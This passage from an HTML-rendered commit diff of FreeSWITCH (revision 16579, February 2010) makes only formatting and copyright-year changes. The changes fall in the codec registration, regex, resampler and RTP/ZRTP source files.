+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 64;
</span><span class="cx">                 bytes_per_frame += 128;
</span><span class="cx">                 ms_per_frame += 2000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         samples_per_frame = 960;
</span><span class="lines">@@ -578,66 +568,63 @@
</span><span class="cx">         ms_per_frame = 20000;
</span><span class="cx">         /* 10ms is already registered */
</span><span class="cx">         for (x = 0; x &lt; 3; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         &quot;L16&quot;,                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         48000,                                                /* samples transferred per second */
-                                                                                         48000,                                                /* actual samples transferred per second */
-                                                                                         768000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         &quot;L16&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         48000,        /* samples transferred per second */
+                                                                                         48000,        /* actual samples transferred per second */
+                                                                                         768000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">                 samples_per_frame += 480;
</span><span class="cx">                 bytes_per_frame += 960;
</span><span class="cx">                 ms_per_frame += 10000;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 10,                                                /* the IANA code number */
-                                                                                 &quot;L16&quot;,                                         /* the IANA code name */
-                                                                                 NULL,                                                 /* default fmtp to send (can be overridden by the init function) */
-                                                                                 22050,                                         /* samples transferred per second */
-                                                                                 22050,                                         /* actual samples transferred per second */
-                                                                                 352800,                                        /* bits transferred per second */
-                                                                                 20000,                                         /* number of microseconds per frame */
-                                                                                 441,                                                 /* number of samples per frame */
-                                                                                 882,                                                 /* number of bytes per frame decompressed */
-                                                                                 882,                                                 /* number of bytes per frame compressed */
-                                                                                 1,                                                 /* number of channels represented */
-                                                                                 1,                                                 /* number of frames per network packet */
-                                                                                 switch_raw_init,                         /* function to initialize a codec handle using this implementation */
-                                                                                 switch_raw_encode,                 /* function to encode raw data into encoded data */
-                                                                                 switch_raw_decode,                 /* function to decode encoded data into raw data */
-                                                                                 switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 10,        /* the IANA code number */
+                                                                                 &quot;L16&quot;,        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 22050,        /* samples transferred per second */
+                                                                                 22050,        /* actual samples transferred per second */
+                                                                                 352800,        /* bits transferred per second */
+                                                                                 20000,        /* number of microseconds per frame */
+                                                                                 441,        /* number of samples per frame */
+                                                                                 882,        /* number of bytes per frame decompressed */
+                                                                                 882,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,         /* enumeration defining the type of the codec */
-                                                                                 10,                                                 /* the IANA code number */
-                                                                                 &quot;L16&quot;,                                         /* the IANA code name */
-                                                                                 NULL,                                                 /* default fmtp to send (can be overridden by the init function) */
-                                                                                 11025,                                         /* samples transferred per second */
-                                                                                 11025,                                         /* actual samples transferred per second */
-                                                                                 176400,                                        /* bits transferred per second */
-                                                                                 40000,                                         /* number of microseconds per frame */
-                                                                                 441,                                                 /* number of samples per frame */
-                                                                                 882,                                                 /* number of bytes per frame decompressed */
-                                                                                 882,                                                 /* number of bytes per frame compressed */
-                                                                                 1,                                                 /* number of channels represented */
-                                                                                 1,                                                 /* number of frames per network packet */
-                                                                                 switch_raw_init,                         /* function to initialize a codec handle using this implementation */
-                                                                                 switch_raw_encode,                 /* function to encode raw data into encoded data */
-                                                                                 switch_raw_decode,                 /* function to decode encoded data into raw data */
-                                                                                 switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 10,        /* the IANA code number */
+                                                                                 &quot;L16&quot;,        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 11025,        /* samples transferred per second */
+                                                                                 11025,        /* actual samples transferred per second */
+                                                                                 176400,        /* bits transferred per second */
+                                                                                 40000,        /* number of microseconds per frame */
+                                                                                 441,        /* number of samples per frame */
+                                                                                 882,        /* number of bytes per frame decompressed */
+                                                                                 882,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_regexc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_regex.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_regex.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_regex.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -71,7 +71,7 @@
</span><span class="cx">                         expression = abuf;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*expression == '/') {
</span><span class="cx">                 char *opts = NULL;
</span><span class="cx">                 tmp = strdup(expression + 1);
</span><span class="lines">@@ -153,7 +153,7 @@
</span><span class="cx">                         if (num &lt; 0 || num &gt; 256) {
</span><span class="cx">                                 num = -1;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (pcre_copy_substring(field_data, ovector, match_count, num, replace, sizeof(replace)) &gt; 0) {
</span><span class="cx">                                 switch_size_t r;
</span><span class="cx">                                 for (r = 0; r &lt; strlen(replace); r++) {
</span><span class="lines">@@ -168,7 +168,7 @@
</span><span class="cx">         substituted[y++] = '\0';
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int * partial)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int *partial)
</ins><span class="cx"> {
</span><span class="cx">         const char *error = NULL;        /* Used to hold any errors                                           */
</span><span class="cx">         int error_offset = 0;                /* Holds the offset of an error                                      */
</span><span class="lines">@@ -176,7 +176,7 @@
</span><span class="cx">         int match_count = 0;                /* Number of times the regex was matched                             */
</span><span class="cx">         int offset_vectors[255];        /* not used, but has to exist or pcre won't even try to find a match */
</span><span class="cx">         int pcre_flags = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Compile the expression */
</span><span class="cx">         pcre_prepared = pcre_compile(expression, 0, &amp;error, &amp;error_offset, NULL);
</span><span class="cx"> 
</span><span class="lines">@@ -194,13 +194,14 @@
</span><span class="cx">                 /* We definitely didn't match anything */
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*partial) {
</span><span class="cx">                 pcre_flags = PCRE_PARTIAL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* So far so good, run the regex */
</span><del>-        match_count = pcre_exec(pcre_prepared, NULL, target, (int) strlen(target), 0, pcre_flags, offset_vectors, sizeof(offset_vectors) / sizeof(offset_vectors[0]));
</del><ins>+        match_count =
+                pcre_exec(pcre_prepared, NULL, target, (int) strlen(target), 0, pcre_flags, offset_vectors, sizeof(offset_vectors) / sizeof(offset_vectors[0]));
</ins><span class="cx"> 
</span><span class="cx">         /* Clean up */
</span><span class="cx">         if (pcre_prepared) {
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_resamplec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_resample.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_resample.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_resample.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -53,18 +53,16 @@
</span><span class="cx"> #define resample_buffer(a, b, c) a &gt; b ? ((a / 1000) / 2) * c : ((b / 1000) / 2) * c
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_resample_perform_create(switch_audio_resampler_t **new_resampler,
</span><del>-                                                                                                                           uint32_t from_rate, uint32_t to_rate, 
</del><ins>+                                                                                                                           uint32_t from_rate, uint32_t to_rate,
</ins><span class="cx">                                                                                                                            uint32_t to_size,
</span><del>-                                                                                                                           int quality,
-                                                                                                                           uint32_t channels,
-                                                                                                                           const char *file, const char *func, int line)
</del><ins>+                                                                                                                           int quality, uint32_t channels, const char *file, const char *func, int line)
</ins><span class="cx"> {
</span><span class="cx">         int err = 0;
</span><span class="cx">         switch_audio_resampler_t *resampler;
</span><span class="cx">         double lto_rate, lfrom_rate;
</span><span class="cx"> 
</span><span class="cx">         switch_zmalloc(resampler, sizeof(*resampler));
</span><del>-        
</del><ins>+
</ins><span class="cx">         resampler-&gt;resampler = speex_resampler_init(channels ? channels : 1, from_rate, to_rate, quality, &amp;err);
</span><span class="cx"> 
</span><span class="cx">         if (!resampler-&gt;resampler) {
</span><span class="lines">@@ -74,11 +72,11 @@
</span><span class="cx"> 
</span><span class="cx">         *new_resampler = resampler;
</span><span class="cx">         lto_rate = (double) resampler-&gt;to_rate;
</span><del>-    lfrom_rate = (double) resampler-&gt;from_rate;
</del><ins>+        lfrom_rate = (double) resampler-&gt;from_rate;
</ins><span class="cx">         resampler-&gt;from_rate = from_rate;
</span><del>-    resampler-&gt;to_rate = to_rate;
-    resampler-&gt;factor = (lto_rate / lfrom_rate);
-    resampler-&gt;rfactor = (lfrom_rate / lto_rate);
</del><ins>+        resampler-&gt;to_rate = to_rate;
+        resampler-&gt;factor = (lto_rate / lfrom_rate);
+        resampler-&gt;rfactor = (lfrom_rate / lto_rate);
</ins><span class="cx">         resampler-&gt;to_size = resample_buffer(to_rate, from_rate, (uint32_t) to_size);
</span><span class="cx">         resampler-&gt;to = malloc(resampler-&gt;to_size * sizeof(int16_t));
</span><span class="cx"> 
</span><span class="lines">@@ -195,7 +193,7 @@
</span><span class="cx">         for (i = 0; i &lt; samples; i++, sum_rnd = 0) {
</span><span class="cx">                 for (x = 0; x &lt; 6; x++) {
</span><span class="cx">                         rnd2 = rnd2 * 31821U + 13849U;
</span><del>-                        sum_rnd += rnd2 ;
</del><ins>+                        sum_rnd += rnd2;
</ins><span class="cx">                 }
</span><span class="cx">                 //switch_normalize_to_16bit(sum_rnd);
</span><span class="cx">                 *data = (int16_t) ((int16_t) sum_rnd / (int) divisor);
</span><span class="lines">@@ -217,7 +215,7 @@
</span><span class="cx"> 
</span><span class="cx">         for (i = 0; i &lt; samples; i++, sum_rnd = 0) {
</span><span class="cx">                 for (x = 0; x &lt; 10; x++) {
</span><del>-                        rnd = rnd + (int16_t)((x + i) * rnd2);
</del><ins>+                        rnd = rnd + (int16_t) ((x + i) * rnd2);
</ins><span class="cx">                         sum_rnd += rnd;
</span><span class="cx">                 }
</span><span class="cx">                 switch_normalize_to_16bit(sum_rnd);
</span><span class="lines">@@ -257,8 +255,8 @@
</span><span class="cx">         uint32_t j = 0, k = 0;
</span><span class="cx"> 
</span><span class="cx">         switch_zmalloc(buf, len);
</span><del>-        
-        for(i = 0; i &lt; samples; i++) {
</del><ins>+
+        for (i = 0; i &lt; samples; i++) {
</ins><span class="cx">                 for (j = 0; j &lt; channels; j++) {
</span><span class="cx">                         int32_t z = buf[i] + data[k++];
</span><span class="cx">                         switch_normalize_to_16bit(z);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_rtpc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_rtp.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_rtp.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_rtp.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -140,7 +140,7 @@
</span><span class="cx">         switch_socket_t *sock_input, *sock_output;
</span><span class="cx">         switch_pollfd_t *read_pollfd;
</span><span class="cx">         switch_pollfd_t *jb_pollfd;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_sockaddr_t *local_addr;
</span><span class="cx">         rtp_msg_t send_msg;
</span><span class="cx"> 
</span><span class="lines">@@ -252,11 +252,10 @@
</span><span class="cx">                 rtp_session-&gt;stuncount--;
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #if 0
</span><span class="cx">         if (rtp_session-&gt;last_stun) {
</span><span class="cx">                 elapsed = (unsigned int) ((switch_micro_time_now() - rtp_session-&gt;last_stun) / 1000);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (elapsed &gt; 30000) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;No stun for a long time (PUNT!)\n&quot;);
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -283,7 +282,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_socket_sendto(rtp_session-&gt;sock_output, rtp_session-&gt;remote_stun_addr, 0, (void *) packet, &amp;bytes);
</span><span class="cx">         rtp_session-&gt;stuncount = rtp_session-&gt;default_stuncount;
</span><del>-        
</del><ins>+
</ins><span class="cx">   end:
</span><span class="cx">         WRITE_DEC(rtp_session);
</span><span class="cx"> 
</span><span class="lines">@@ -426,7 +425,7 @@
</span><span class="cx">         task-&gt;runtime = switch_epoch_time_now(NULL) + 900;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static int zrtp_send_rtp_callback(const zrtp_stream_t* stream, char* rtp_packet, unsigned int rtp_packet_length)
</del><ins>+static int zrtp_send_rtp_callback(const zrtp_stream_t *stream, char *rtp_packet, unsigned int rtp_packet_length)
</ins><span class="cx"> {
</span><span class="cx">         switch_rtp_t *rtp_session = zrtp_stream_get_userdata(stream);
</span><span class="cx">         switch_size_t len = rtp_packet_length;
</span><span class="lines">@@ -444,9 +443,9 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_event_t *fsevent = NULL;
</span><span class="cx">         const char *type;
</span><del>-        
</del><ins>+
</ins><span class="cx">         type = switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO) ? &quot;video&quot; : &quot;audio&quot;;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch (event) {
</span><span class="cx">         case ZRTP_EVENT_IS_SECURE:
</span><span class="cx">                 {
</span><span class="lines">@@ -458,24 +457,23 @@
</span><span class="cx">                         }
</span><span class="cx">                         if (zrtp_status_ok == zrtp_session_get(stream-&gt;session, &amp;zrtp_session_info)) {
</span><span class="cx">                                 if (zrtp_session_info.sas_is_ready) {
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_channel_set_variable_name_printf(channel, &quot;true&quot;, &quot;zrtp_secure_media_confirmed_%s&quot;, type);
</span><span class="cx">                                         switch_channel_set_variable_name_printf(channel, stream-&gt;session-&gt;sas1.buffer, &quot;zrtp_sas1_string_%s&quot;, type);
</span><span class="cx">                                         switch_channel_set_variable_name_printf(channel, stream-&gt;session-&gt;sas2.buffer, &quot;zrtp_sas2_string&quot;, type);
</span><del>-                                        
-                                        zrtp_verified_set(zrtp_global, &amp;stream-&gt;session-&gt;zid, 
-                                                                          &amp;stream-&gt;session-&gt;peer_zid, zrtp_session_info.sas_is_verified^1);
-                                        
</del><ins>+
+                                        zrtp_verified_set(zrtp_global, &amp;stream-&gt;session-&gt;zid, &amp;stream-&gt;session-&gt;peer_zid, zrtp_session_info.sas_is_verified ^ 1);
+
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (!switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
</span><span class="cx">                                 switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session-&gt;pool, &quot;__session&quot;);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (session) {
</span><span class="cx">                                         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">                                         switch_rtp_t *video_rtp_session = switch_channel_get_private(channel, &quot;__zrtp_video_rtp_session&quot;);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!video_rtp_session) {
</span><span class="cx">                                                 video_rtp_session = switch_channel_get_private_partner(channel, &quot;__zrtp_video_rtp_session&quot;);
</span><span class="cx">                                         }
</span><span class="lines">@@ -491,12 +489,13 @@
</span><span class="cx">                                                         zrtp_stream_start(video_rtp_session-&gt;zrtp_stream, video_rtp_session-&gt;ssrc);
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                }                                
</del><ins>+                                }
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (switch_event_create(&amp;fsevent, SWITCH_EVENT_CALL_SECURE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, &quot;secure_media_type&quot;, &quot;%s&quot;, type);
</span><del>-                                switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, &quot;secure_type&quot;, &quot;zrtp:%s:%s&quot;, stream-&gt;session-&gt;sas1.buffer, stream-&gt;session-&gt;sas2.buffer);
</del><ins>+                                switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, &quot;secure_type&quot;, &quot;zrtp:%s:%s&quot;, stream-&gt;session-&gt;sas1.buffer,
+                                                                                stream-&gt;session-&gt;sas2.buffer);
</ins><span class="cx">                                 switch_event_add_header_string(fsevent, SWITCH_STACK_BOTTOM, &quot;caller-unique-id&quot;, switch_channel_get_uuid(channel));
</span><span class="cx">                                 switch_event_fire(&amp;fsevent);
</span><span class="cx">                         }
</span><span class="lines">@@ -522,11 +521,10 @@
</span><span class="cx">                 {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;User already enrolled!\n&quot;);
</span><span class="cx">                         switch_channel_set_variable_name_printf(channel, &quot;true&quot;, &quot;zrtp_already_enrolled_%s&quot;, type);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zrtp_status_ok == zrtp_session_get(stream-&gt;session, &amp;zrtp_session_info)) {
</span><span class="cx">                                 if (zrtp_session_info.sas_is_ready) {
</span><del>-                                        zrtp_verified_set(zrtp_global, &amp;stream-&gt;session-&gt;zid, 
-                                                                          &amp;stream-&gt;session-&gt;peer_zid, zrtp_session_info.sas_is_verified^1);
</del><ins>+                                        zrtp_verified_set(zrtp_global, &amp;stream-&gt;session-&gt;zid, &amp;stream-&gt;session-&gt;peer_zid, zrtp_session_info.sas_is_verified ^ 1);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -539,22 +537,20 @@
</span><span class="cx"> 
</span><span class="cx">                         if (zrtp_status_ok == zrtp_session_get(stream-&gt;session, &amp;zrtp_session_info)) {
</span><span class="cx">                                 if (zrtp_session_info.sas_is_ready) {
</span><del>-                                        zrtp_verified_set(zrtp_global, &amp;stream-&gt;session-&gt;zid, 
-                                                                          &amp;stream-&gt;session-&gt;peer_zid, zrtp_session_info.sas_is_verified^1);
</del><ins>+                                        zrtp_verified_set(zrtp_global, &amp;stream-&gt;session-&gt;zid, &amp;stream-&gt;session-&gt;peer_zid, zrtp_session_info.sas_is_verified ^ 1);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><del>-                
</del><ins>+
</ins><span class="cx">         case ZRTP_EVENT_USER_UNENROLLED:
</span><span class="cx">                 {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;User unenrolled!\n&quot;);
</span><span class="cx">                         switch_channel_set_variable_name_printf(channel, &quot;true&quot;, &quot;zrtp_user_unenrolled_%s&quot;, type);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zrtp_status_ok == zrtp_session_get(stream-&gt;session, &amp;zrtp_session_info)) {
</span><span class="cx">                                 if (zrtp_session_info.sas_is_ready) {
</span><del>-                                        zrtp_verified_set(zrtp_global, &amp;stream-&gt;session-&gt;zid, 
-                                                                          &amp;stream-&gt;session-&gt;peer_zid, zrtp_session_info.sas_is_verified^1);
</del><ins>+                                        zrtp_verified_set(zrtp_global, &amp;stream-&gt;session-&gt;zid, &amp;stream-&gt;session-&gt;peer_zid, zrtp_session_info.sas_is_verified ^ 1);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -608,23 +604,24 @@
</span><span class="cx">                 zrtp_config.is_mitm = 1;
</span><span class="cx">                 zrtp_config.lic_mode = ZRTP_LICENSE_MODE_ACTIVE;
</span><span class="cx">                 switch_snprintf(zrtp_cache_path, sizeof(zrtp_cache_path), &quot;%s%szrtp.dat&quot;, SWITCH_GLOBAL_dirs.db_dir, SWITCH_PATH_SEPARATOR);
</span><del>-                zrtp_zstrcpyc( ZSTR_GV(zrtp_config.def_cache_path), zrtp_cache_path);
</del><ins>+                zrtp_zstrcpyc(ZSTR_GV(zrtp_config.def_cache_path), zrtp_cache_path);
</ins><span class="cx">                 zrtp_config.cb.event_cb.on_zrtp_protocol_event = zrtp_event_callback;
</span><span class="cx">                 zrtp_config.cb.misc_cb.on_send_packet = zrtp_send_rtp_callback;
</span><span class="cx">                 zrtp_config.cb.event_cb.on_zrtp_security_event = zrtp_event_callback;
</span><del>-                
-                zrtp_log_set_log_engine((zrtp_log_engine*)zrtp_logger);
</del><ins>+
+                zrtp_log_set_log_engine((zrtp_log_engine *) zrtp_logger);
</ins><span class="cx">                 zrtp_log_set_level(4);
</span><span class="cx">                 if (zrtp_status_ok == zrtp_init(&amp;zrtp_config, &amp;zrtp_global)) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                         memcpy(zid, zid_string, 12);
</span><del>-                        switch_scheduler_add_task(switch_epoch_time_now(NULL) + 900, zrtp_cache_save_callback, &quot;zrtp_cache_save&quot;, &quot;core&quot;, 0, NULL, SSHF_NONE | SSHF_NO_DEL);
</del><ins>+                        switch_scheduler_add_task(switch_epoch_time_now(NULL) + 900, zrtp_cache_save_callback, &quot;zrtp_cache_save&quot;, &quot;core&quot;, 0, NULL,
+                                                                          SSHF_NONE | SSHF_NO_DEL);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_core_set_variable(&quot;zrtp_enabled&quot;, NULL);
</span><span class="cx">                         zrtp_on = 0;
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;ZRTP init failed!\n&quot;);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx">         srtp_init();
</span><span class="lines">@@ -642,15 +639,15 @@
</span><span class="cx"> {
</span><span class="cx">         switch_core_port_allocator_t *alloc = NULL;
</span><span class="cx">         switch_hash_index_t *hi;
</span><del>-    const void *var;
-    void *val;
</del><ins>+        const void *var;
+        void *val;
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(port_lock);
</span><span class="cx"> 
</span><span class="cx">         for (hi = switch_hash_first(NULL, alloc_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><span class="cx">                 if ((alloc = (switch_core_port_allocator_t *) val)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Destroy port allocator for %s\n&quot;, (char *)var);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Destroy port allocator for %s\n&quot;, (char *) var);
</ins><span class="cx">                         switch_core_port_allocator_destroy(&amp;alloc);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -840,7 +837,7 @@
</span><span class="cx">                 switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_socket_create_pollfd(&amp;rtp_session-&gt;read_pollfd, rtp_session-&gt;sock_input, SWITCH_POLLIN | SWITCH_POLLERR, rtp_session-&gt;pool);        
</del><ins>+        switch_socket_create_pollfd(&amp;rtp_session-&gt;read_pollfd, rtp_session-&gt;sock_input, SWITCH_POLLIN | SWITCH_POLLERR, rtp_session-&gt;pool);
</ins><span class="cx"> 
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         *err = &quot;Success&quot;;
</span><span class="lines">@@ -867,8 +864,8 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_rtp_set_max_missed_packets(switch_rtp_t *rtp_session, uint32_t max)
</span><span class="cx"> {
</span><span class="cx">         if (rtp_session-&gt;missed_count &gt;= max) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
-                                                  &quot;new max missed packets(%d-&gt;%d) greater than current missed packets(%d). RTP will timeout.\n&quot;, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                  &quot;new max missed packets(%d-&gt;%d) greater than current missed packets(%d). RTP will timeout.\n&quot;,
</ins><span class="cx">                                                   rtp_session-&gt;missed_count, max, rtp_session-&gt;missed_count);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -891,7 +888,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
